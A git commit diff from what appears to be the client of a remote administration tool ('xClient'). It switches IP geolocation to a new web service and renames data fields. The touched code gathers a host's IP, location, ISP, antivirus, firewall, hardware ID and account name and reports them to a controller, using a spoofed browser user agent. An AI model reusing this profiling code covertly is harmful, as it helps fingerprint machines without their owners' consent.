Fixed #482 IP gelocation

This commit is contained in:
MaxXor 2016-08-02 01:29:53 +02:00
parent 1fca118753
commit b2888d0107
4 changed files with 79 additions and 101 deletions

View File

@ -17,8 +17,8 @@ namespace xClient.Core.Commands
{ {
GeoLocationHelper.Initialize(); GeoLocationHelper.Initialize();
new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, PlatformHelper.FullName, WindowsAccountHelper.GetAccountType(), new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, PlatformHelper.FullName, WindowsAccountHelper.GetAccountType(),
GeoLocationHelper.GeoInfo.country, GeoLocationHelper.GeoInfo.country_code, GeoLocationHelper.GeoInfo.Country, GeoLocationHelper.GeoInfo.CountryCode,
GeoLocationHelper.GeoInfo.region, GeoLocationHelper.GeoInfo.city, GeoLocationHelper.ImageIndex, GeoLocationHelper.GeoInfo.Region, GeoLocationHelper.GeoInfo.City, GeoLocationHelper.ImageIndex,
DevicesHelper.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG).Execute(client); DevicesHelper.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG).Execute(client);
if (ClientData.AddToStartupFailed) if (ClientData.AddToStartupFailed)

View File

@ -359,17 +359,17 @@ namespace xClient.Core.Commands
"LAN IP Address", "LAN IP Address",
DevicesHelper.GetLanIp(), DevicesHelper.GetLanIp(),
"WAN IP Address", "WAN IP Address",
GeoLocationHelper.GeoInfo.ip, GeoLocationHelper.GeoInfo.Ip,
"Antivirus", "Antivirus",
SystemHelper.GetAntivirus(), SystemHelper.GetAntivirus(),
"Firewall", "Firewall",
SystemHelper.GetFirewall(), SystemHelper.GetFirewall(),
"Time Zone", "Time Zone",
GeoLocationHelper.GeoInfo.timezone, GeoLocationHelper.GeoInfo.Timezone,
"Country", "Country",
GeoLocationHelper.GeoInfo.country, GeoLocationHelper.GeoInfo.Country,
"ISP", "ISP",
GeoLocationHelper.GeoInfo.isp GeoLocationHelper.GeoInfo.Isp
}; };
new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client); new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);

View File

@ -5,55 +5,33 @@ namespace xClient.Core.Data
[DataContract] [DataContract]
public class GeoInformation public class GeoInformation
{ {
[DataMember] [DataMember(Name = "as")]
public double longitude { get; set; } public string As { get; set; }
[DataMember(Name = "city")]
[DataMember] public string City { get; set; }
public double latitude { get; set; } [DataMember(Name = "country")]
public string Country { get; set; }
[DataMember] [DataMember(Name = "countryCode")]
public string asn { get; set; } public string CountryCode { get; set; }
[DataMember(Name = "isp")]
[DataMember] public string Isp { get; set; }
public string offset { get; set; } [DataMember(Name = "lat")]
public double Lat { get; set; }
[DataMember] [DataMember(Name = "lon")]
public string ip { get; set; } public double Lon { get; set; }
[DataMember(Name = "org")]
[DataMember] public string Org { get; set; }
public string area_code { get; set; } [DataMember(Name = "query")]
public string Ip { get; set; }
[DataMember] [DataMember(Name = "region")]
public string continent_code { get; set; } public string Region { get; set; }
[DataMember(Name = "regionName")]
[DataMember] public string RegionName { get; set; }
public string dma_code { get; set; } [DataMember(Name = "status")]
public string Status { get; set; }
[DataMember] [DataMember(Name = "timezone")]
public string city { get; set; } public string Timezone { get; set; }
[DataMember(Name = "zip")]
[DataMember] public string Zip { get; set; }
public string timezone { get; set; }
[DataMember]
public string region { get; set; }
[DataMember]
public string country_code { get; set; }
[DataMember]
public string isp { get; set; }
[DataMember]
public string postal_code { get; set; }
[DataMember]
public string country { get; set; }
[DataMember]
public string country_code3 { get; set; }
[DataMember]
public string region_code { get; set; }
} }
} }

View File

@ -12,30 +12,30 @@ namespace xClient.Core.Helper
{ {
public static readonly string[] ImageList = public static readonly string[] ImageList =
{ {
"ad.png", "ae.png", "af.png", "ag.png", "ai.png", "al.png", "ad", "ae", "af", "ag", "ai", "al",
"am.png", "an.png", "ao.png", "ar.png", "as.png", "at.png", "au.png", "aw.png", "ax.png", "az.png", "ba.png", "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba",
"bb.png", "bd.png", "be.png", "bf.png", "bg.png", "bh.png", "bi.png", "bj.png", "bm.png", "bn.png", "bo.png", "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo",
"br.png", "bs.png", "bt.png", "bv.png", "bw.png", "by.png", "bz.png", "ca.png", "catalonia.png", "cc.png", "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc",
"cd.png", "cf.png", "cg.png", "ch.png", "ci.png", "ck.png", "cl.png", "cm.png", "cn.png", "co.png", "cr.png", "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr",
"cs.png", "cu.png", "cv.png", "cx.png", "cy.png", "cz.png", "de.png", "dj.png", "dk.png", "dm.png", "do.png", "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
"dz.png", "ec.png", "ee.png", "eg.png", "eh.png", "england.png", "er.png", "es.png", "et.png", "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et",
"europeanunion.png", "fam.png", "fi.png", "fj.png", "fk.png", "fm.png", "fo.png", "fr.png", "ga.png", "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga",
"gb.png", "gd.png", "ge.png", "gf.png", "gh.png", "gi.png", "gl.png", "gm.png", "gn.png", "gp.png", "gq.png", "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq",
"gr.png", "gs.png", "gt.png", "gu.png", "gw.png", "gy.png", "hk.png", "hm.png", "hn.png", "hr.png", "ht.png", "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
"hu.png", "id.png", "ie.png", "il.png", "in.png", "io.png", "iq.png", "ir.png", "is.png", "it.png", "jm.png", "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm",
"jo.png", "jp.png", "ke.png", "kg.png", "kh.png", "ki.png", "km.png", "kn.png", "kp.png", "kr.png", "kw.png", "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw",
"ky.png", "kz.png", "la.png", "lb.png", "lc.png", "li.png", "lk.png", "lr.png", "ls.png", "lt.png", "lu.png", "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu",
"lv.png", "ly.png", "ma.png", "mc.png", "md.png", "me.png", "mg.png", "mh.png", "mk.png", "ml.png", "mm.png", "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
"mn.png", "mo.png", "mp.png", "mq.png", "mr.png", "ms.png", "mt.png", "mu.png", "mv.png", "mw.png", "mx.png", "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx",
"my.png", "mz.png", "na.png", "nc.png", "ne.png", "nf.png", "ng.png", "ni.png", "nl.png", "no.png", "np.png", "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
"nr.png", "nu.png", "nz.png", "om.png", "pa.png", "pe.png", "pf.png", "pg.png", "ph.png", "pk.png", "pl.png", "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl",
"pm.png", "pn.png", "pr.png", "ps.png", "pt.png", "pw.png", "py.png", "qa.png", "re.png", "ro.png", "rs.png", "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs",
"ru.png", "rw.png", "sa.png", "sb.png", "sc.png", "scotland.png", "sd.png", "se.png", "sg.png", "sh.png", "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh",
"si.png", "sj.png", "sk.png", "sl.png", "sm.png", "sn.png", "so.png", "sr.png", "st.png", "sv.png", "sy.png", "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy",
"sz.png", "tc.png", "td.png", "tf.png", "tg.png", "th.png", "tj.png", "tk.png", "tl.png", "tm.png", "tn.png", "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
"to.png", "tr.png", "tt.png", "tv.png", "tw.png", "tz.png", "ua.png", "ug.png", "um.png", "us.png", "uy.png", "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy",
"uz.png", "va.png", "vc.png", "ve.png", "vg.png", "vi.png", "vn.png", "vu.png", "wales.png", "wf.png", "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf",
"ws.png", "ye.png", "yt.png", "za.png", "zm.png", "zw.png" "ws", "ye", "yt", "za", "zm", "zw"
}; };
public static int ImageIndex { get; set; } public static int ImageIndex { get; set; }
@ -57,7 +57,7 @@ namespace xClient.Core.Helper
{ {
TryLocate(); TryLocate();
if (GeoInfo.country_code == "-" || GeoInfo.country == "Unknown") if (string.IsNullOrEmpty(GeoInfo.CountryCode) || string.IsNullOrEmpty(GeoInfo.Country))
{ {
ImageIndex = 247; // question icon ImageIndex = 247; // question icon
return; return;
@ -65,7 +65,7 @@ namespace xClient.Core.Helper
for (int i = 0; i < ImageList.Length; i++) for (int i = 0; i < ImageList.Length; i++)
{ {
if (ImageList[i].Contains(GeoInfo.country_code.ToLower())) if (ImageList[i] == GeoInfo.CountryCode.ToLower())
{ {
ImageIndex = i; ImageIndex = i;
break; break;
@ -82,8 +82,8 @@ namespace xClient.Core.Helper
{ {
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation)); DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation));
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://telize.com/geoip"); HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://ip-api.com/json/");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"; request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
request.Proxy = null; request.Proxy = null;
request.Timeout = 10000; request.Timeout = 10000;
@ -119,7 +119,7 @@ namespace xClient.Core.Helper
try try
{ {
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/"); HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"; request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
request.Proxy = null; request.Proxy = null;
request.Timeout = 10000; request.Timeout = 10000;
@ -141,26 +141,26 @@ namespace xClient.Core.Helper
string xmlCity = doc.SelectSingleNode("Response//City").InnerXml; string xmlCity = doc.SelectSingleNode("Response//City").InnerXml;
string timeZone = doc.SelectSingleNode("Response//TimeZone").InnerXml; string timeZone = doc.SelectSingleNode("Response//TimeZone").InnerXml;
GeoInfo.ip = (!string.IsNullOrEmpty(xmlIp)) GeoInfo.Ip = (!string.IsNullOrEmpty(xmlIp))
? xmlIp ? xmlIp
: "-"; : "-";
GeoInfo.country = (!string.IsNullOrEmpty(xmlCountry)) GeoInfo.Country = (!string.IsNullOrEmpty(xmlCountry))
? xmlCountry ? xmlCountry
: "Unknown"; : "Unknown";
GeoInfo.country_code = (!string.IsNullOrEmpty(xmlCountryCode)) GeoInfo.CountryCode = (!string.IsNullOrEmpty(xmlCountryCode))
? xmlCountryCode ? xmlCountryCode
: "-"; : "-";
GeoInfo.region = (!string.IsNullOrEmpty(xmlRegion)) GeoInfo.Region = (!string.IsNullOrEmpty(xmlRegion))
? xmlRegion ? xmlRegion
: "Unknown"; : "Unknown";
GeoInfo.city = (!string.IsNullOrEmpty(xmlCity)) GeoInfo.City = (!string.IsNullOrEmpty(xmlCity))
? xmlCity ? xmlCity
: "Unknown"; : "Unknown";
GeoInfo.timezone = (!string.IsNullOrEmpty(timeZone)) GeoInfo.Timezone = (!string.IsNullOrEmpty(timeZone))
? timeZone ? timeZone
: "Unknown"; : "Unknown";
GeoInfo.isp = "Unknown"; // freegeoip does not support ISP detection GeoInfo.Isp = "Unknown"; // freegeoip does not support ISP detection
} }
} }
} }
@ -170,16 +170,16 @@ namespace xClient.Core.Helper
} }
catch catch
{ {
GeoInfo.country = "Unknown"; GeoInfo.Country = "Unknown";
GeoInfo.country_code = "-"; GeoInfo.CountryCode = "-";
GeoInfo.region = "Unknown"; GeoInfo.Region = "Unknown";
GeoInfo.city = "Unknown"; GeoInfo.City = "Unknown";
GeoInfo.timezone = "Unknown"; GeoInfo.Timezone = "Unknown";
GeoInfo.isp = "Unknown"; GeoInfo.Isp = "Unknown";
LocationCompleted = false; LocationCompleted = false;
} }
if (string.IsNullOrEmpty(GeoInfo.ip)) if (string.IsNullOrEmpty(GeoInfo.Ip))
TryGetWanIp(); TryGetWanIp();
} }
@ -190,7 +190,7 @@ namespace xClient.Core.Helper
try try
{ {
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/"); HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"; request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
request.Proxy = null; request.Proxy = null;
request.Timeout = 5000; request.Timeout = 5000;
@ -209,7 +209,7 @@ namespace xClient.Core.Helper
{ {
} }
GeoInfo.ip = wanIp; GeoInfo.Ip = wanIp;
} }
} }
} }